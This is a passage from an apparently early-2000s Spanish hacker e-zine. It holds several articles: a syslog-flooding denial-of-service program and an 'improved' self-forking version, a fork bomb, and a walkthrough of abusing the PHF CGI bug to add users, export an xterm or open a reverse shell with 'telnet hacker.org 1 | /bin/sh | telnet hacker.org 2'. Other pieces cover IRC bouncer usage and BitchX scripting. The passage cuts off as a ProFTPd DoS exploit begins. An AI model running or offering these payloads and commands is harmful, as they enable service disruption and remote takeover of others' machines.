syslog(LOG_WARNING, buffer);
printf(". %d.\n",getpid());
return;
}
}
/* EOF : Digase End Of File */
/* thx Ripe */
<-->
-=( 02 )=- Forma de Parcherse .
La forma de parchearse del faño del log es cambiar el modo a uno mas
restringido como el 644 que prohibimos dar derecho de escritura en "/dev/log"
Lepton:/dev # chmod 644 log
Lepton:/dev # ls -l log
srw-r--r-- 1 root root 0 Jun 28 21:51 log
Claramente esto lo debeis de hacer como root .
<++> parche.sh
# Parche a lo pachanga pal /dev/log , by trycky
#!/bin/bash
ls -al /dev/log | awk '{printf $1}' > test
if [ test = srw-r--r-- ]; then
echo -ne "Tas parcheado o eso creo ;) .\n"
else
if [ "$UID" = 0 ]; then
chmod 644 /dev/log
echo -ne "Ya tas tas parcheado yeahh ;) .\n"
else
echo 'Has de ser root para poder parchearlo'
fi
fi
<-->
-=( 03 )=- Contactar .
E-mail : trycky_83@mixmail.com
Para cualquier tipo de comentario o cosas del estilo , propuestas de mujeres ,
propuestas de trabajo , ummm y alguna que otra cosilla si os apetece . Y si no
por el IRC con el nick de trycky .
by trycky (16-8 D.H)
EOF.
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
--{ 02 }---{ Syslog jode aun mas }---------------------------------------------
---------------------------------------------------------------------{ Ripe }--
Hemos visto como trycky nos ha planteado un problema de seguridad que permite
relentizar un sistema, llenar los logs de mierda, y en muchos casos llegar a
colgar la maquina. Ello gracias al codigo podeis ver un poco mas arriba.
Pero no acaba aqui la cosal. Tras ver este mini-articulo de trycky, y su
programilla syslog_jode, he decidido mejorarlo un poco. Las mejoras se limitan
a hacer que jodemos() cree el proceso hijo ella misma, de manera que asi es
posible llamarla desde si misma, multiplicando asi los procesos mucho mas
rapido. Veamos un ejemplo con este programilla que crea multitud de procesos,
gracias a llamadas recursibas.
---/ forkpowah.c /---
#include <unistd.h>
int main(void) {
printf("Forkpowah By Ripe :PP\n");
printf("Vamo palla....\n");
for(;;) {
boom();
}
}
int boom(void) {
int child;
for(;;) {
child=fork();
if (child=0) boom();
}
}
---/ forkpowah.c /---
Vemos como boom() se encarga de crear los procesos, con fork(), y hace que
cada proceso llame a mas procesos... etc etc etc.
La diferencia entre este programilla y el de trycky, es que en este *TODOS*
los procesos creados crean a su vez procesos, mientras que en de trycky, solo
crea procesos uno de los procesos (el que arranca primero). Veamos ahora como
se traduciria esto con el programa encargado machacar via syslod ;-)
---/ syslog_jode2.c /---
/*****************************************************************************/
/* by trycky 2000 . syslog_jode , trycky_83@mixmail.com */
/* */
/* Pequeñas mejoras por Ripe. Ahora syslog jode aun mas ;-) */
/* */
/* to compile : are you sure ? */
/* */
/*****************************************************************************/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <syslog.h>
#define MIRALOQUEDISE "Io soy mu vago por no leer ..."
#define ALERTAROJA "Mensaca desde el kernel q nus caemos !!!"
char buffer[24000];
main() {
signal (SIGINT,SIG_IGN);
signal (SIGHUP,SIG_IGN);
signal (SIGTERM,SIG_IGN);
signal (SIGSTOP,SIG_IGN);
memset(buffer, 0x80, 24000);
printf(" by trycky 2000 . syslog_fuck , trycky_83@mixmail.com \n");
printf("\n");
printf(" Pequeñas mejoras por Ripe. Ahora syslog jode aun mas ;-)\n");
for(;;) {
jodemos();
}
}
void jodemos() {
int child;
child=fork();
if (child==0) {
for (;;) {
syslog(LOG_ERR, buffer);
syslog(LOG_USER, MIRALOQUEDISE);
syslog(LOG_EMERG, ALERTAROJA);
syslog(LOG_WARNING, buffer);
printf(". %d.\n",getpid());
jodemos();
}
}
}
---/ syslog_jode2.c /---
Ya sabeis, toca parchear :)
------------------------------------------------------------------------------
-------------------------------------------------------------------------------
--{ 03 }---{ Un comando remoto }-----------------------------------------------
---------------------------------------------------------------------{ Ripe }--
Es muy comun la situacion en la que un hacker se ve con la posiblidad de
ejecutar un comando remoto (¡¡viva los CGIs programados con el culo!!). Lo que
con este mini-articulo trato de explicar es la forma de aprovechar este tipo
de situaciones. Hay varias maneras de hacerlo y paso a comentar alguna.
UserAdd
^^^^^^^
Lo primero que se nos podria ocurrir es añadir una cuenta de usuario. Seria
muy facil ejecutar "useradd -p hax0r hacker", y luego entrar en la maquina
usando la aplicacion telnet. Pero eso no es tan facil, pues useradd solo suele
ser efectivo si se ejecuta con privilegios de administrador, y a la hora de
ejecutar nuestro comando remoto, nosotros no tenemos ni idea de nuestro UID
(aunque no es dificil mirarlo en las variables de entorno adecudas mediante
echo). Actualmente la ejecucion de CGIs no suele tener privilegios de root,
por lo que nos este comando remoto no funciona en practicamente ninguna
maquina. Aun asi veamos un ataque ejemplo, en el que victima.com es un server
con el mitico fallo PHF, y hacker.org somos nosotros.
[root@hacker.org /root]# lynx http://victima.com/cgi-bin/phf?Qalias=%0useradd%20-p%20hax0r%20hacker
[root@hacker.org /root]# telnet victima.com
Trying 666.666.666.666...
Escape character is '^]'.
Login: hacker
Password:
[hacker@victima.com /]$
Exportando un terminal X
^^^^^^^^^^^^^^^^^^^^^^^^
El metodo anterior solo surgira efecto si tenemos privilegios para modificar
el fichero /etc/passwd, y no suele ser asi. Pero este que veremos a
continuacion funciona tengamos los privilegios que tengamos. Veamos como es...
Supongo que la mayoria conocereis el parametro -display que se le puede pasar
a cualquier aplicacion de las X, de todos modos, por si acaso, explicare de
que va.
El de funcionamiento de las X no es mas que una tipica transmision de datos
cliente-servidor que normalmente usa la familia AF_UNIX, pero no es nada
compicado adaptarlo a AF_INET (¿Os suena de algo el puerto 6000?). Para ello
se usa la opcion -display.
Un hacker puede aprovechar esto para exportarse una aplicacion, y ¿que mejor
que un xterm? ;-) Para ello hay que realizar lo siguiente:
-Autorizar a victima.com para que pueda exportar aplicaciones a nuestra
maquina. Se usara "xhost victima.com".
-Tener las X cargadas en nuestra maquina.
-Ejecutar "xterm -display hacker.org:0.0", donde hacker.org es el host del
hacker maloso >;->
Veamos ahora un ejemplo de ataque a la misma maquina de antes.
[root@hacker.org /root]# startx
[root@hacker.org /root]# xhost victima.com
[root@hacker.org /root]# lynx http://victima.com/cgi-bin/phf?Qalias=%0xterm%20-display%20hacker.org:0.0
[Y ya tenemos la xterm de victima.com en nuestro escritorio]
Es posible que no te haga ninguna gracia poner tu IP hal hacer display. Si es
asi, puedes saldar facilmente este tema usando un bouncer de conexion directa.
G-bouncer de Doing va de pm para este tipo de cosas. Veamos como seria
entonces el ataque.
[root@hacker.org /root]# startx
[root@hacker.org /root]# xhost condon.com
[root@hacker.org /root]# telnet condon.com
Trying 666.666.666.666...
Escape character is '^]'.
Login: pepe
Password:
[pepe@condon.com pepe]$ ./g_bcn 6000 hacker.org 6000
Generic bouncer - by Doing
Bouncer instalado!
[volviendo a nuestra apreciada maquina]
[root@hacker.org /root]# lynx http://victima.com/cgi-bin/phf?Qalias=%0xterm%20-display%20condon.com:0.0
[Y ya tenemos la xterm de victima.com en nuestro escritorio]
Pipeline hax0r socket /bin/sh
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
NOTA: En el momento en que se me ocurrio este metodo no lo habia visto
documentado en ninguna parte, pero tras comentarselo a ciertas
personas me dijeron que si, y que esta tecnica recibia el nombre de
"telnet inverso", pero yo he decidido ponerle "Pipeline hax0r socket
/bin/sh" porque me parece mucho mas origina :P
Como bien sabemos en UNIX es muy sencillo realizar redireccionamientos de
decriptores de ficheros desde el mismo shell (usando metacaracteres como
">", "<", "|"). Pues bien, usando un pipeline del estilo "in | comando | out",
podemos gestionar la entrada y la salida del comando con in y con out, eso
quiere decir que si hacemos "entrada | /bin/sh | salida", lo que entrada
saque por stdout sera ejecutado por /bin/sh, y el resultado posterior mandado
a salida (puede parecer un poco complejo, pero no lo es, ni mucho menos).
¿Que debemos tratar de hacer? Sencillo, ejecutar un comando que nos permita
mandar lo que queramos a stdout, y otro que nos permita visualizar stdin...
hummmm, pensemos :) ¿telnet? Bingo.
Si el servidor remoto ejecuta "telnet hacker.org 1 | /bin/sh | telnet
hacker.org 2" y hacker.org esta preparado para recibir las conexiones por
los puertos 1 y 2, el hacker tenda un shell en su manos (aun que como veremos
un shell algo incomoda :P).
¿Como debe preparar el hacker su maquina? Facil.
[Estamos en el terminal 1]
[root@hacker.org /root]# nc -v -l -p 1
listening on [any] 1 ...
[Nos vamos hacia al terminal 2]
[root@hacker.org /root]# nc -v -l -p 2
listening on [any] 2 ...
[Ahora hacia el terminal 3 xD]
[root@hacker.org /root]# lynx http://victima.com/cgi-bin/phf?Qalias=%0telnet%20hacker.org%201%20|%20/bin/sh%20|%20telnet%20hacker.org%202
Y apartir de ahora lo que escribamos en el terminal 1 sera procesado por el
/bin/shell de victima.com, y la salida del comando se nos mostrara por el
terminal 2 (es algo incomodo, pero util en la situaciones en las que el
UNIX victima.com no dispones de xterm).
Tambien es posible usar 2 bouncer para esconderse en este ataque :)
NOTA: Para poder realizar este ataque debemos tener privilegios para ejecutar
"telnet".
------------------------------------------------------------------------------
-------------------------------------------------------------------------------
--{ 04 }---{ Usando un bouncer }-----------------------------------------------
------------------------------------------------------------------{ PAC_MAC }--
¿Que es y como funciona un BouNCeR? Para lelos, explicado muy por encima
(by PAC-MAC)
Bien, en primer lugar, este texto lo hago para que no me lo anden preguntando
cada dos por tres en el IRC. Lo he explicado como unas 10000000000 veces ya.
Bueno, pues alla va. Un Bouncer es una maquina que hace de puente entre un
servicio (IRC) y tu PC. Por ej. vamos a poner que nuestro bouncer es
mocosoft.com, pues bien, a traves de mocosoft.com nosotros nos
conectariamos al IRC por medio de una ventana de IRC, y toda la informacion
que nosotros enviemos y recibamos pasara por mocosoft.com . Un Bouncer
oculta nuestra IP y nuestra host, así que si a ti te atacan, tambien
atacan a la maquina que useis de bouncer, y si atacan al bouncer también
te caeras tu. Hasta ahi queda claro lo que es un bouncer. Ahora pasamos a la
explicacion sobre como se usa.
Pongamos de nuevo el ejemplo de mocosoft.com al que se accede por el puerto
7777, lo primero que deberiais haceres conectar al bouncer a traves de vuestro
cliente de IRC, asi que abrir una ventana de IRC y escribir lo siguiente,
/server mocosoft.com 7777. Algunos Bouncers tienen clave, sobre todo si lo
habeis conseguido en el canal #bnc de Dalnet, si la tiene os dira algo asi como
Please use /quote PASS <password> to register, pues imaginaros que este tiene
Password y que la password es windakoz, entonces deberiais escribir /quote PASS
windakoz para tener acceso al bouncer. Una vez esteis dentro os dira algo asi
Use /quote CONN <server>:[port] [pass] to connect and /quote HELP for info on
other commands Ahora imaginar que quereis conectar al siguiente servidor de
IRC; irc.irc.com al que se accede por el puerto 6667. Pues debereis poner
/quote conn irc.irc.com 6667 windakoz y el bouncer os conectara con el servidor
de irc. Ahi lo que os ha pedido es que pongais el servidor al que deseais
conectar <server> seguido del puerto [port] y el password [pass].
Pues ya sabeis lo que es un bouncer y como se conecta a un servidor de IRC.
Ahora, como me sobra tiempo y no tengo nada mejor que hacer, os pasare a
explicar otra cosa bastante util. Los Bouncers utilizan Vhosts, las Vhosts
(Virtual Hosts) son varias ip's asiganadas a una maquina y cada una de ellas
tiene un PTR distinto (PTR es le nombre de host asociado a una ip en el dns).
Esto quiere decir que ese bouncer te da a escoger entre varias hosts, cada una
con una ip diferente, para conectarte a un servicio (IRC). Para ver la lista de
hosts de que dispone ese bouncer deberas introducir un comando que varia
dependiendo de si es un bouncer o un ezbounce, si es un bouncer el comando es
/quote vip y si es un ezbounce el comando sera /quote vhost.
Imaginemos que mocosoft.com es un bouncer, pues deberiamos poner /quote vip
para ver el listado (esto se debe poner antes de conectar al IRC con el
bouncer). Nos saldria algo así:
/quote vip
-> Server: vip
-
-mocosoft.com- Default Vhost: mocosoft.com
-
-mocosoft.com- Listing Vhosts
-
-mocosoft.com- (0) ppp-144.32.1.45.dialuplosers.com
-
-mocosoft.com- (1) ppp-129.dialuplosers.com
-
-mocosoft.com- (2) wants.some.freepr0n.com
-
-mocosoft.com- (3) is.addicted.to.freepr0n.com
-
-mocosoft.com- (4) i.lied.when.i.said.u.were.a.goodphuck.com
-
-mocosoft.com- (5) eight.hour.goodphuck.com
-
-mocosoft.com- End of Vhost list
En este caso queremos coger el vhost ppp-144.32.1.45.dialuplosers.com Para
escogerlo deberiamos escribir /quote vip ppp-144.32.1.45.dialuplosers.com.
Entonces saldria esto:
/quote vip ppp-144.32.1.45.dialuplosers.com
-> Server: vip ppp-144.32.1.45.dialuplosers.com
-
-rm-rf.muahahah.com- Switching Vhost to ppp-144.32.1.45.dialuplosers.com (208.189.113.133)
-
El mensaje que os da significa que ya habeis escogido ese Vhost. Lo siguiente
seria conectar al servicio (IRC) como antes os he descrito, con /quote conn
irc.irc.com 6667 windakoz y ya os conectaria al IRC. Lo demas es como una
sesion normal de IRC.
En un ezbounce lo unico que cambian son los comandos, en vez de poner /quote
vip para ver el listado de las Vhosts de deberiais de poner /quote Vhosts , y
para escoger esa Vhost deberiais poner /quote Vhost
ppp-144.32.1.45.dialuplosers.com
El resto es igual que con el bouncer normal, osea, /quote conn irc.irc.com 6667
windakoz.
Bueno, ya solo me queda por explicar un par de comandos mas, aunque seguro que
se me han pasado un monton de cosas por alto, xD. En los EZbounce hay un par de
comandos que los bouncers no tienen, dichos comandos son DETACH y REATTACH.
Imagina que quieres apagar tu ordenador y que tu nick siga en el IRC, como si
dejaras el pc encendido toda la noche y conectado al IRC. Pues bien, con el
comando DETACH puedes dejar al bouncer conectado mientras tu apagas el
ordenador y te vas por ahi. Y cuando quieras recuperarlo solo tienes que usar
el comando REATTACH. Nuestro ezbounce en este caso se llamara ezbounce.com y su
password sera Hax0r, pues una vez estemos conectados al IRC, cuando quieras
apagar el pc, para que el ezbounce siga conectado al IRC lo único que tendrás
que poner es /quote ezbounce detach Hax0r y tu cliente de IRC se desconectara
mientras que el ezbounce sigue en el IRC. Una vez hecho eso, en Status os
aparecera algo asi:
-> Server: ezbounce detach Hax0r
-
-ezbounce- Ok, detached... To reattach, you must use /quote REATTACH 5056 Hax0r
-
-ezbounce- Closing connection to you
-
*** Disconnected
Una vez hecho esto, ya podeis apagar vuestro pc. Fijaros en esto -ezbounce- Ok,
detached... To reattach, you must use /quote REATTACH 5056 Hax0r Pues eso
quiere decir que cuando querais volver a conectar y seguir con esa sesion de
IRC debereis escribir /quote REATTACH 5056 Hax0r El numero 5056 es como un
numero de referencia, no olvideis ese numero si quereis volver a seguir con esa
sesion de IRC.
Cuando querais volver a coger el control debereis conectar primero al servidor
del ezbounce y una vez dentro escribir /quote REATTACH 5056 Hax0r Para eso
sirve el comando reattach. En algunos ezbouncers en vez de reattach con dos t
puede ser con una, para ver la lista de comandos debereis escribir /quote help
antes de entrar en el IRC.
Hay unos cuantos comandos mas en los bouncers que todavia no os he explicado,
los comandos varian un poco entre los bouncers, los ezbounces y los
psybounces. Lo primero es decir que un bouncer es un programa, al igual que un
ezbounce y un psybounce. Bien, en un Bouncer los comandos son:
*Main, sirve para identificarte como administrador de ese Bouncer, necesitas
la password de administrador. Si la password es hax0r pues el comando
seria /quote main hax0r
*Vip, ya he explicado para lo que sirve, hacer listado de vhosts y escoger
una.
*ident, sirve para cambiar tu ident, con el comando /quote ident nueva_ident
*keepalive, te devuelve al bouncer en caso de que la shell te desconecte, es
lo que pone en la ayuda del bouncer, nunca lo he usado.
*Conn, sirve para conectar a un servidor de IRC, con el comando /quote
servidor_irc puerto password
*VDF, te pone la vhost definida por defecto en la configuracion.
*VN, lo mismo pero con la vhost por defecto de la shell.
Ahora os explicare los comandos de un ezbounce:
*Admin, sirve para identificarte como administrador de ese Bouncer,
necesitas la password de administrador. Si la password es hax0r pues
el comando seria /quote admin hax0r
*conn, es igual que con el bouncer.
*ezbounce, sirve para ejecutar comandos en el ezbounce cuando estas
conectado al IRC, el comando seria asi
/quote ezbounce "comando"
*EZB, un alias para el comando ezbounce.
*Interface, sirve para lo mismo que el comando vhost, el comando seria
/quote interface "vhost_que_hayas_escogido"
*Vhosts, sirve para ver un listado de las hosts virtuales de que dispone el
ezbounce. /quote vhosts
*Vhost, cuando hayas escogido la vhost que quieres ponerte escribes el
siguiente comando /quote vhost "la_vhost"
*Detach, para dejar el ezbounce conectado al IRC, esta explicado mas
extensamente arriba. /quote ezbounce detach pass
*Reattach, para volver a recuperar la conexion del ezbounce que dejaste en
el IRC, tambien viene explicado arriiba mas extensamente.
/quote reattach numero
*ident, lo mismo que en el bouncer. /quote ident "nueva_ident"
*Log, no he mirado para que sirve.
*MOTD, mensaje del dia.
Pues esto es todo, seguro que se me olvidan un monton de cosas, pero espero
haberos servido un poco de ayuda para entender lo que es un bouncer y como
funciona. Pienso hacer mas textos sobre el tema explicando lo que es un
Psybouncer y algunas cosas mas, pero eso sera mas adelante. Si despues de leer
esto teneis alguna duda me podreis encontrar en el canal #bnc o en #la_kasita
del irc-hispano con el nick PAC-MAC. Y recordar, en el IRC-Hispano no se
permite usar bouncers ni ezbounces ni nada por el estilo. Este documento tiene
un fin educativo :-) Gracias a ]K1ki[ y a ZeRoXT porque sin ellos no habria
sido capaz de hacer este documento, y un saludo para el canal #hacker_novatos
y para #hackworld. Gracias en especial a [gibs0n] por motivarme a hacer
esto :-)
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
--{ 05 }---{ BitchX-Scripting }------------------------------------------------
-----------------------------------------------------------------{ tuxisuau }--
Buenas, soy Tuxisuau y me podeis encontrar con facilidad en el IRC-Hispano, en
canales linuxeros ;). El porqué de este articulo es el haber querido elaborar
un script para hacerme el IRC'ing com BitchX más comodo y no haber encontrado
un HOWTO ni nada parecido. Utilizar cada dia BitchX a secas es algo realmente
pesado... k si /msg nick@deep.space identify 3133(5+2), k si /msg chan access
#elitah add 450 z3r0k001... ufff k pesadez XD. Pues casi mejor dedicar un poco
de atencion a las capacidades del BX y asi despues xatear de mejor humor y de
verdad que seria del agrado de nuestros compañeros de IRC...
(BitchX... pero k dice este tio? tranquilos, por si no lo conoceis aún, BitchX
es un buen cliente de irc para consola basado en IrcII... si os interesa
www.bitchx.org)
Bueno, empecemos por el principio...
Antes de intentar programar nada, seria interesante conocer a fondo los
toggles y las opciones de este fantàstico cliente de IRC, para eso os remito
ia al manual (RTFM).
Las opciones se guardan usando /save pero hay variables k se graban y
variables k no se graban (no me preguntes por qué...). Estas opciones van a
parar a ~/.BitchX/BitchX.sav y se cargan al arrancar BitchX :).
BX carga tambien ~/.bitchxrc (o en ~/.ircrc si usas el bx de los paquetes de
debian/unstable, cosa que me provoco grandes dolores de cabeza...).
Vamos por la faena...
_ _ _
/ \ | (_) __ _ ___
/ _ \ | | |/ _` / __|
/ ___ \| | | (_| \__ \
/_/ \_\_|_|\__,_|___/
Whoaaah! k peazo letras XD Pues si, es el comando de scripting más utilizado.
Conoceis su función? Exacto! Para variar es para crear nuestros propios
aliases o sinonimos. Nos puede ahorrar mucha faena! :)
Un ejemplo autoexplicativo seria...
/alias whoami {msg nick info $N}
Y al poner /whoami haria msg a nick diciendole "nick info $N".
$N es una 'Special Variable' (segun la docu :) que devuelve nuestro nick
actual :)
k p0wah!!! (tranquilos, esto no es nada ;)
Pues aqui teneis una preciosa lista de estas variables especiales para vuestro
uso y disfrute...
(Tomado directamente de la docu del BitchX-1.0c17)
Variable Definición
$, last person who sent you a MSG
$. last person to whom you sent a MSG
$: last person to join a channel you are on
$; last person to send a public message to a channel you are on
$` your current uptime
$A text of your AWAY message, if any
$B body of last MSG you sent
$C current channel
$D last person that NOTIFY detected a signon for
$E idle time
$F time client was started, $time() format
$G the current value of set SHOW_NUMERICS_STR
$H current server numeric being processed
$I channel you were last INVITEd to
$J client version text string
$K current value of CMDCHARS
$L current contents of the input line
$M modes of current channel, if any
$N current nickname
$O value of STATUS_OPER if you are an irc operator
$P if you are a channel operator in $C, expands to a '@'
$Q nickname of whomever you are QUERYing
$R version of current server
$S current server name
$T target of current input (channel or QUERY nickname)
$U value of cutbuffer
$V client release date (numeric version string)
$W current working directory
$X your /userhost $N address (user@host)
$Y value of REALNAME
$Z time of day (hh:mm)
$a the full version string
$b a smaller version string
$h current running hook name
$n current network name if available ie. efnet, dalnet
$s the server port your on.
$t the currently running alias name
$u your away time
$v is tcl supported or not
$$ a literal '$'
Yo añado esto... (q tb esta en la docu pero perdido por otros lados)
$0 Primer parametro k le pases al alias
$1,2,3... segundo, tercero, cuarto...
$L TODO lo k le pases al alias de parametro
Bueno, llegado aki seria interesante crearse unos alias bonitos y meterlos en
nuestro estupendo ~/.bitchxrc...
El formato de este fichero es un tanto simple... simplemente pon los comandos
uno tras otro XD
/alias figlet exec -o figlet $L
/alias memo {msg memo send $L}
/alias memolist {msg memo list}
/alias memolast {msg memo read last}
/alias memodel {msg memo del$L}
/alias memoread {msg memo read$L}
Ejemplos utiles y todo xD. No hace falta la / pero se puede poner :)
Por si lo desconocierais, figlet es un programilla muy bonito para hacer
'banners' de texto a base de ascii. Un ejemplo seria el titulo 'Alias' XD.
Y veamos ahora como crear nuestras propias variables...
/assign ircpass mipassdenick
Simple, verdad? Bueno, vamos a sacarle utilidad a esto...
/alias identify msg nick@deep.space identify $ircpass
De esta forma nos ahorramos de escribir 50 veces nuestra pass de nick si la
usamos mas de una vez en nuestros scripts...
Seria interesante no usar nombres de variable de una sola letra... pues estan
reservadas para las variables especiales y solo lograriamos problemas y mas
problemas...
Vamos a complicar un poco esto :)
/alias jj {
window swap 1
join #root
window swap 2
join #linux
window swap 3
join #debian
window swap 1 }
Que haria esto? Pues abriria los canales en sus correspondientes ventanas y
nos dejaria en la ventana 1 al acabar...
/alias chanop {
if ([$0]) {
msg chan op $C $0}
unless ([$0]) {
msg chan unban $C
msg chan op $C $N}}
Esto nos quitaria el ban (si fuera el caso) y nos daria op en el canal actual
a nosotros mismos... o al nick que pasaramos de parametro. Es la primera vez
que usamos if (que complicado, verdad?). Pues como de costumbre sirve para
tomar decisiones segun se cumplan o no condiciones. En este caso, si le pasas
un parametro chan da op al parametro XD. Unless es exactamente el contrario de
if.
/alias mchanop {
for ( @ num = 1, num < 11, @ num++ ) {
window swap $num
if ( ![$P] && [$C] ) {
msg chan op $C $N } } }
Yuck! Esto se va complicando!
Esto lo que haria es hacer una barrida de ventanas y pedir op a chan cada vez
que encontrara un canal en el que no fueramos op.
Aqui tenemos nuestro kerido FOR, con una sintaxis demasiado parecida a la del
C, por ejemplo. Vemos tambien que usamos ! y && en el if para invertir y para
requerir que se cumplan las dos condiciones, exactamente igual a cuando lo
hacemos en C.
/alias cycleop {
for ( @ num = 1, num < 11, @ num++ ) {
window swap $num
if ( ![$P] && [$C] ) {
cycle
wait } } }
Esto seria mas o menos lo mismo, pero usando cycles en ves de machacar al bot
chan. Va muy bien con los autoops de los scripts de la gente...
Bueno, ahi tenemos algo nuevo... wait. Sirve para parar el flujo hasta k se
terminen los comandos anteriores, sease hasta k no termina el cycle no pasa a
la ventana siguiente. Prueba eso sin wait y veras la k se lia.... XDD
Alias es mu bonito pero solo sirve para eso, para definir aliases XD Nuestros
scripts deben hacer cosas mas interesantes...
___ _ _
/ _ \| \ | |
| | | | \| |
| |_| | |\ |
\___/|_| \_|
Esto si k ia es p0wah!!! XDD ON permite lanzar acciones en el momento en que
ocurran ciertos eventos que cumplan ciertas condiciones.
Amos a ver un ejemplo...
/on +public " % #*An desnouuu fraiii*" { ^msg $1 onde colen grei shicaaagouu
mun }
/on +public " % #*onde colen grei shicaaagouu mun*" { ^msg $1 beibi
benischanrisssmornins innnn de geetouuuu }
Eso son dos lineas pero ocupan cuatro (que complicado, ia me he perdido)
Bueno, pues eso es un trozo de "The Panda Karaoke" By DrSlump, the BigPanda.
Lo que hace es soltar "onde colen grei shicaaagouu mun" Cuando alguien dice en
publico, en un canal "An desnouuu fraiii" y a base de ONs monta una cancion
entre dos BitchX. No incluyo la canción completa por peticion popular (Es
conocida y odiada en el IRC Hispano...) pero si os interesa la podeis pedir en
#linux_gei.
Bueno, otro ejemplo...
on -msg "nick*Si es tu nick*IDENTIFY*" { identify }
Esto ejecutará nuestro adorable alias identify cuando nick raie para que nos
identifiquemos. Hay que mostrar atencion a la mascara que usamos... solo hara
caso a nick, si tuxisuau MSGea Si es tu nick identificate con blah blah
IDENTIFY password el script no le hara el mas minimo caso....
ON admite muchos mas tipos de evento, aparte de msg y public. Os habreis
fijado q a veces pongo - y a veces + delante del nombre del evento de ON...
sirven para silenciar o 'verbosear' la ejecucion de estos parametros, creando
mas o menos salida por la ventana del BitchX...
_____ _ _
| ____|(_) ___ _ __ ___ _ __ | | ___ ___
| _| | |/ _ \ '_ ` _ \| '_ \| |/ _ \/ __|
| |___ | | __/ | | | | | |_) | | (_) \__ \
|_____|/ |\___|_| |_| |_| .__/|_|\___/|___/
|__/ |_|
Ahora que ya conocemos todo esto, vamos a ver unos ejemplos de cosas bonitas
que se pueden conseguir...
/on +msg "*password ip" { msg $0 oki $X :* }
/on +msg "*password resume" { dcc resume $0 }
/on +msg "*password amol" { msg $0 te kero :**}
/on +msg "*password get" { dcc get $0 }
Esto daria p0wah de control remoto a nuestro BitchX. resume/get/ip son muy
interesantes para desacernos del 'DCC_AUTOGET' :) Esto permitiria a nuestros
amigos obtener nuestra ip o enviarnos dccs sin que nosotros tengamos que estar
atentos al IRC... incluso nos podria servir a nosotros mismos si dejamos el
script en marxa en la maquina de casa y nos vamos, por ejemplo. a un
cibercafé... amol sirve para k nuestro BX nos demuestre lo muxo que nos
quiere...
/alias tuxisuau {msg nick@deep.space ghost $mynick $ircpass
nick $mynick}
recuperacion rapida de nuestro nick ;)
____ _
/ ___|___ _ __ ___ ___ (_) ___ ___
| | / _ \| '_ \/ __|/ _ \| |/ _ \/ __|
| |__| (_) | | | \__ \ __/| | (_) \__ \
\____\___/|_| |_|___/\___|/ |\___/|___/
|__/
Bueno, pues acabare el docu con algunos consejos sobre el BX y el IRC en
general...
1. Evita las listas de autoop. Dar op a tus amigos/as queda muy bonito, pero
no hace nada de gracia cuando el lamer de turno se aprovecha de los 20
segundos del kill del hispano... para entrar en un canal con tu nick, pillar
op y dp cambiar de nick y takear el canal :[
2. No dejes el DCC_AUTOGET activado!!! Lo pueden usar para saber tu ip cuando
estas +x, para mandarte un .bash_profile malo maloso, etc.
3. No des tu nombre ni ninguno de tus datos a todo dios (!). Alla tú...
4. No uses BNC's no montados por ti... Quien sabe si logean?
5. No seas scr1pt-k1dd13. 'paquetar' a la gente es kiddie.
6. Alerta con el /ON, si programas mal se puede xploitar... (un dcc pa la
musica k hace dcc del file k te dicen a partir del directorio musica, te
empiezan a mandar ../ 's y se arma la de dios...)
7. Usa siempre el TIMESTAMP, va de pm. Añade /set timestamp on en tu pedazo de
script ;)
8. Sé buena persona, pero no seas inocente... :P
9. Jamas ejecutes nada sin pensar primero lo k hace y muxo menos con
privilegios de root (Thx a Ripe por esta).
10. En esta vida te encuentras con muchisima información: Hay buena y mala,
hay falsa, manipulada, etc. Sé capaz de discriminar la información y asimilar
lo que te interesa asimilar.
Es tarde, estoy cansado y bueno creo que ya es bastante. Saludos a mis amigos
del irc y de fuera. Espero poder escribir mas docs, hare una segunda parte de
este doc cuando controle mas el tema y tb hare docs de otros temas. De momento
podeis consultar en /usr/doc/bitchx/* q de alli lo saco io tambien.
Debian p0wah!!!
Tuxisuau <tuxisuau@phreaker.net>
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
--{ 06 }---{ ProFTPd DoS }-----------------------------------------------------
-------------------------------------------------------------------{ Jet-Li }--
Saludos a todos los lectores, soy JeT-Li y no habia tenido oportunidad de
saludaros hasta ahora ;-) Lo que os pongo a continuacion es un DoS remoto para
ProFTPd, testeado en la version 1.2.0rc1 y 1.2.0rc2, aunque muy posiblemente
funcione en otras.
Se basa en una sobrecarga de la memoria hasta agotar los
recursos disponibles. Este DoS es efectivo si el directorio
/usr/local/var/proftpd no existe o no posee permisos de escritura para el
propio demonio ProFTPd. Si has hecho la instalación desde un RPM el
directorio es /var/run/proftpd. El bug se encuentra en la funcion
log_open_run() del fichero /src/log.c. Esta funcion intenta abrir un fichero
dinamico de registro situado en este directorio (/usr/local/var/proftpd o
/var/run/proftpd) al ejecutar la mayoria (posiblemente todos) de los comandos
del ftp. Cada vez que lo hace reserva memoria para este fichero de registro sin
liberarla de tal manera que nos lleva a una sobrecarga de memoria ;-). Los
creadores del ProFTPd han reconocido este bug, puedes visitar su pagina en
www.proftpd.net.
Bueno pues en la version 1.0 del exploit yo usaba el comando SIZE,
realizando multiples peticiones, y agotando asi la memoria. En esta version he
combinado el exploit anterior con una nueva manera de llevar a cabo el DoS
usando el comando USER. Lo que hace el programa es realizar un numero muy
elevado de comandos USER usuarionoexistente, provocando la sobrecarga ya antes
mencionada. De este modo no es necesario ni siquiera acceso anonimo al ftp,
cosa que antes si era requerida.
Como posible novedad en este bonito mundo de los DoS y los exploits
... que está codeado en Java ;-P Sé que se podría haber hecho en perl o en c,
mucho mas escueto, e igual de eficaz, pero no es el caso ;-) Si alguien se
anima a hacer alguna migracion que sepa que la aceptare con gusto. Si yo he
usado Java es porque estaba experimentando con el manejo de sockets y flujo
tcp/ip en este lenguaje y no hay mejor manera de experimentar que programando
;-D
Por si hay algun incauto que nunca haya trabajado con Java para
compilarlo/ejecutarlo visitad www.javasoft.com y bajaos de alli el JDK (JSK si
es la version mas reciente). Una vez lo tengais instalado para compilar "javac
proftpDoS.java" y para ejecutar "java proftpDoS". Sorry x la leccion kiddie ;-)
Pues sin mas dilacion aqui teneis el codigo, si teneis alguna duda o
alguna sugerencia interesante que hacerme podeis escribirme a :
jet_li_man@yahoo.com
Me despido ... hasta otra ;-)
"Chance favors the PREPARED mind".- Travis Dane
JeT-Li -The Wushu Master-
proftpDoS.java (el nombre no lo cambieis, para compilarlo ha de ser ese)
<++> proftpDoS.java
/* ProFTPd DoS version 1.1
